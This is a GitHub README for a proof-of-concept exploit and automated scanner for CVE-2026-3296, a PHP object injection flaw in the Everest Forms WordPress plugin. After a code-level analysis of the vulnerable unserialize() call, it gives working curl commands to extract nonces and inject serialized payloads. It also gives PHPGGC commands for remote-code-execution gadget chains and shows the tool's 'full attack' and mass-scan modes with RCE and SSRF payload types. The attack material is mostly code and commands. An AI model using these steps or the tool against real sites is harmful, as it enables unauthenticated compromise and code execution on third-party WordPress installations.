xxconi/CVE-2026-3296
GitHub: xxconi/CVE-2026-3296
该项目提供了一个用于检测和利用 Everest Forms WordPress 插件中未授权 PHP 对象注入漏洞(CVE-2026-3296,CVSS 9.8)的概念验证及自动化扫描工具。
Stars: 0 | Forks: 0
# CVE-2026-3296
CVE-2026-3296 是一个 CVSS 9.8 严重级别的未授权 PHP Object Injection 漏洞,存在于 Everest Forms WordPress 插件中。
# CVE-2026-3296 — Everest Forms PHP Object Injection 扫描器
## 📌 关于漏洞
Everest Forms 插件在管理面板中查看表单条目元数据时,调用了 PHP 原生的 `unserialize()` 函数,且**未**使用 `allowed_classes` 参数。
未经身份验证的攻击者可以将序列化的 PHP object payload 嵌入到任何公开的表单字段中,从而将其保存到数据库中。
当管理员通过面板查看条目时,会触发 `unserialize()`,进而执行当前环境中存在的任何 **POP gadget chain**。
## 🔍 漏洞摘要
| 字段 | 值 |
|---|---|
| **CVE ID** | CVE-2026-3296 |
| **CVSS** | 9.8 Critical |
| **类型** | PHP Object Injection (不受信任数据的反序列化) |
| **受影响版本** | <= 3.4.3 |
| **已修复版本** | 3.4.4 |
| **身份验证** | 无需验证 (注入),需要 Admin (触发) |
| **CWE** | CWE-502: 不受信任数据的反序列化 |
## ⚙️ 技术分析
### 两阶段攻击模型
```
FAZ 1 — ENJEKSIYON (Kimlik doğrulama gerekmez)
FAZ 2 — TETİKLEME (Admin panel görüntülemesi)
```
### 阶段 1 — 注入:Payload 存储
#### 表单提交 Hook (class-evf-form-task.php, line 75)
```
// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );
```
```
// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );
```
#### 为什么净化是不够的 (evf-core-functions.php, line 4754)
```
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
$entry['form_fields'][$key] = sanitize_text_field(
$entry['form_fields'][$key]
);
```
该 payload 在经过 `sanitize_text_field()` 处理后**被完整保留:**
```
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}
```
#### 额外 Bug — 提前返回 (line 4764)
```
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
...
return $entry; // ← BUG: döngü ilk iterasyonda çıkar
}
```
#### 写入数据库 (class-evf-form-task.php, line 1326)
```
$entry_metadata = array(
'entry_id' => $entry_id,
'meta_key' => sanitize_key( $field['meta_key'] ),
'meta_value' => maybe_serialize( $field['value'] ),
// maybe_serialize() düz string'i değiştirmez
// → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );
```
### 阶段 2 — 触发:不安全的反序列化
#### 存在漏洞的代码 (html-admin-page-entries-view.php, line 130–133)
```
$meta_value = is_serialized( $meta_value )
? $meta_value
: wp_strip_all_tags( $meta_value );
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value );
// ↑ allowed_classes parametresi YOK
// PHP varsayılanı: TÜM sınıflar instantiate edilebilir
// → POP gadget chain tetiklenir
}
```
#### 存在安全的 Wrapper 但未被使用 (evf-core-functions.php, line 5594)
```
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options); // Güvenli
}
return null;
}
return $data;
}
```
### 为什么 Nonce 无法提供保护?
```
```
Nonce 提供 **CSRF 保护**,而不是 **身份验证**。
攻击者可以通过 GET 请求打开表单页面并读取 nonce,然后
通过 POST 请求发送 payload。
## 🔴 完整攻击链
```
┌──────────────────────────────────────────────────────────────┐
│ FAZ 1 — ENJEKSIYON (Unauthenticated) │
│ │
│ GET /contact/ │
│ → form_id=123, nonce=abc123, field=text_xyz │
│ │
│ POST /contact/ │
│ everest_forms[id]=123 │
│ everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...} │
│ _wpnonce123=abc123 │
│ │ │
│ ├── sanitize_text_field() → serialization korunur │
│ ├── maybe_serialize() → string değişmez │
│ └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..." │
└──────────────────────────┬───────────────────────────────────┘
│ (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│ FAZ 2 — TETİKLEME (Admin Panel) │
│ │
│ GET /wp-admin/admin.php │
│ ?page=evf-entries&form_id=123&view-entry=456 │
│ │ │
│ ├── is_serialized($meta_value) = true │
│ ├── unserialize($meta_value) ← ZAFIYET │
│ │ allowed_classes = (yok) → tüm sınıflar │
│ └── POP gadget chain → __wakeup() / __destruct() │
│ → RCE / File Write / Data Exfil │
└──────────────────────────────────────────────────────────────┘
```
## 🧪 概念验证 (手动)
**前提条件:**
- 已安装并启用 Everest Forms <= 3.4.3
- 可公开访问的表单页面
- 访问管理面板的权限 (用于触发)
### 步骤 1 — 获取表单 ID 和 Nonce
```
TARGET="https://target-site.example.com/contact/"
# 提取 Form ID
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'
# 提取 Nonce
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'
```
### 步骤 2 — 创建良性测试 Payload
```
# 安全测试 — stdClass,无 magic method
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'
```
对于真实环境,使用 PHPGGC 生成 POP chain:
```
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s
# Monolog chain
phpggc Monolog/RCE1 system "id" -s
```
### 步骤 3 — 注入 Payload
```
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"
curl -s -X POST "$TARGET" \
-d "everest_forms[id]=${FORM_ID}" \
-d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
-d "_wpnonce${FORM_ID}=${NONCE}" \
-d "everest_forms[hp][abc]="
```
预期结果:表单成功消息或重定向。
### 步骤 4 — 在数据库中验证 (WP-CLI)
```
wp db query \
"SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
--allow-root
# 应该看到 O:8:"stdClass":2:{...} 行
```
### 步骤 5 — 以 Admin 身份触发
```
https://target-site.example.com/wp-admin/admin.php
?page=evf-entries
&form_id=123
&view-entry=
```
页面加载时将执行 `unserialize()`。
### 步骤 6 — 验证 Gadget Chain (测试环境)
```
// test-gadget.php — SADECE TEST ORTAMINDA KULLAN
class TestGadget {
public function __wakeup() {
file_put_contents(
'/tmp/pwned.txt',
'PHP Object Injection confirmed at ' . date('c')
);
}
}
```
```
cat /tmp/pwned.txt
# PHP Object Injection 已在 2026-04-08T... 确认
```
## 🛠️ 自动扫描器
### 安装
```
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt
```
**requirements.txt**
```
requests
```
## 🚀 使用方法
### 漏洞检测 (良性 Payload)
```
python everest_forms_poi.py -u http://hedef.com --mode scan
```
### 仅注入 (阶段 1)
```
python everest_forms_poi.py -u http://hedef.com --mode inject \
--payload-type probe
```
### 完整攻击 (阶段 1 + 阶段 2)
```
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123!
```
### 手动指定表单 ID + 自定义 Payload
```
python everest_forms_poi.py -u http://hedef.com --mode inject \
--form-id 5 --field-name text_abc123 \
--custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'
```
### 使用 OOB Callback 进行检测 (Burp Collaborator)
```
python everest_forms_poi.py -u http://hedef.com --mode scan \
--payload-type ssrf \
--callback-url http://your.burp.collaborator.net
```
### 批量扫描
```
python everest_forms_poi.py -l targets.txt -t 10 \
--mode scan -o sonuclar.txt
```
### 使用代理
```
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123! \
--proxy http://127.0.0.1:8080
```
## ⚙️ 参数
### 模式
| 模式 | 说明 |
|---|---|
| `scan` | 注入良性 payload — 用于漏洞检测 |
| `inject` | 仅阶段 1 — 存储 payload |
| `trigger` | 仅阶段 2 — 使用 admin 登录触发 |
| `full` | 阶段 1 + 阶段 2 — 完整攻击 |
### 通用参数
| 参数 | 简写 | 说明 | 默认值 |
|---|---|---|---|
| `--url` | `-u` | 单个目标 URL | — |
| `--list` | `-l` | 目标列表文件 | — |
| `--threads` | `-t` | 线程数 | `5` |
| `--output` | `-o` | 输出文件 | `poi_results.txt` |
| `--proxy` | — | 代理 URL | — |
| `--force` | — | 即使插件检测失败也继续 | `False` |
### 表单参数
| 参数 | 说明 | 默认值 |
|---|---|---|
| `--form-id` | CF7 表单 ID | 自动检测 |
| `--form-url` | 表单页面 URL | 自动检测 |
| `--field-name` | 目标字段名称 | 自动检测 |
| `--nonce` | 表单 nonce 值 | 自动提取 |
| `--entry-id` | 条目 ID (触发模式) | 自动检测 |
### Payload 选项
| 参数 | 说明 | 默认值 |
|---|---|---|
| `--payload-type` | Payload 类型 | `probe` |
| `--custom-payload` | 自定义序列化字符串 | — |
| `--cmd` | RCE 命令 | `id` |
| `--callback-url` | OOB callback URL | — |
### 管理员凭据
| 参数 | 说明 |
|---|---|
| `--admin-user` | Admin 用户名 |
| `--admin-pass` | Admin 密码 |
## 💀 Payload 类型
| 类型 | 说明 | 用法 |
|---|---|---|
| `probe` | 良性 stdClass — 无副作用 | 漏洞检测 |
| `file_write` | 写入文件 | 测试环境验证 |
| `ssrf` | HTTP callback — OOB 检测 | Burp Collaborator |
| `wp_rce` | WordPress POP chain 占位符 | 使用 PHPGGC 生成 |
| `yoast_rce` | Yoast SEO POP chain 占位符 | 使用 PHPGGC 生成 |
| `monolog_rce` | Monolog POP chain 占位符 | 使用 PHPGGC 生成 |
## 📊 扫描器输出状态
| 状态 | 说明 |
|---|---|
| `★ PWNED` | 已触发反序列化 + payload 已执行 |
| `★ VULN` | 已注入 payload — 漏洞已确认 |
| `~ TRIGGERED` | 条目已被查看 — 需手动验证 gadget chain |
| `- INJ_FAIL` | 注入失败 (已修补 / 无表单) |
| `~ NO_FORM` | 未找到 Everest Forms 表单 |
| `- NO_PLUGIN` | 未安装该插件 |
| `~ NO_CREDS` | 缺少管理员凭据 |
| `- ADM_FAIL` | 管理员登录失败 |
| `~ UNREACH` | 无法访问目标 |
## 🖥️ 扫描器输出示例
```
[*] Hedef : http://hedef.com
[*] Mod : full
[*] Payload Tipi : probe
[*] Komut : id
[*] Admin User : admin
[→] http://hedef.com Adım 1: Everest Forms formu aranıyor...
[→] http://hedef.com Adım 2: Payload enjekte ediliyor...
[→] http://hedef.com Adım 3: Admin girişi yapılıyor...
[→] http://hedef.com Adım 4: Entry ID aranıyor...
[→] http://hedef.com Adım 5: unser
```
标签:CISA项目, PHP对象注入, WordPress, 加密, 安全, 文件完整性监控, 无服务器架构, 漏洞扫描器, 超时处理, 逆向工具